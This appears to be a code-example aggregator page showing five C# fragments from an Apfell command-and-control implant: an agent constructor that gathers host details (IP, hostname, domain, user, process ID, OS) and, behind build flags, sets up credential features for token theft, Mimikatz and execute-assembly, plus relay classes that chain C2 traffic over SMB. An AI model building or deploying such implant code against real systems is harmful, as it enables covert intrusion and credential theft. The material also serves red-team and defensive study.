Beispiel #1
0
        /// <summary>
        /// This is the main working class that is responsible for
        /// connecting back to an Apfell server. This class will
        /// be responsbile for dispatching tasks and maintaining
        /// job states.
        /// </summary>
        /// <param name="profileInstance">An instance of a C2Profile to establish communications with.</param>
        /// <param name="sleepTime">Sleep time to wait between checkins. Default 5 seconds.</param>
        public Agent(C2Profile profileInstance, int sleepTime = 5000)
        {
#if MAKE_TOKEN || STEAL_TOKEN || REV2SELF || GETPRIVS || WHOAMI || POWERPICK || MIMIKATZ || EXECUTE_ASSEMBLY
            Credentials.CredentialManager.Initialize();
            integrity_level = Credentials.CredentialManager.IntegrityLevel;
#endif
            Profile = profileInstance;
            ip      = Dns.GetHostEntry(Dns.GetHostName()).AddressList.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork).ToString();
            host    = Dns.GetHostName();
            domain  = Environment.UserDomainName;
            pid     = System.Diagnostics.Process.GetCurrentProcess().Id;
            os      = String.Format("{0} ({1})", GetOSVersion(), Environment.OSVersion.Version.ToString());

            if (IntPtr.Size == 8)
            {
                architecture = "x64";
            }
            else
            {
                architecture = "x86";
            }
            SleepInterval = profileInstance.CallbackInterval;
            user          = Environment.UserName;
            //Endpoint = serverEndpoint;
            JobManager.Intitialize(this);
        }
Beispiel #2
0
 public Relay(C2Profile producer, C2Profile consumer, string taskID)
 {
     SyncDelegateMessageTaskQueue    = Queue.Synchronized(delegateMessageTaskQueue);
     SyncDelegateMessageRequestQueue = Queue.Synchronized(delegateMessageRequestQueue);
     MessageProducer = producer;
     MessageConsumer = consumer;
     TaskID          = taskID;
 }
Beispiel #3
0
 public abstract void ChangeConsumerProfile(C2Profile profile);
Beispiel #4
0
 public override void ChangeConsumerProfile(C2Profile profile)
 {
     MessageConsumer = profile;
 }
Beispiel #5
0
 //internal C2Profile MessageConsumer;
 //public string AgentUUID;
 public SMBRelay(SMBClientProfile producer, C2Profile consumer, string taskID) : base(producer, consumer, taskID)
 {
     MessageProducer = producer;
 }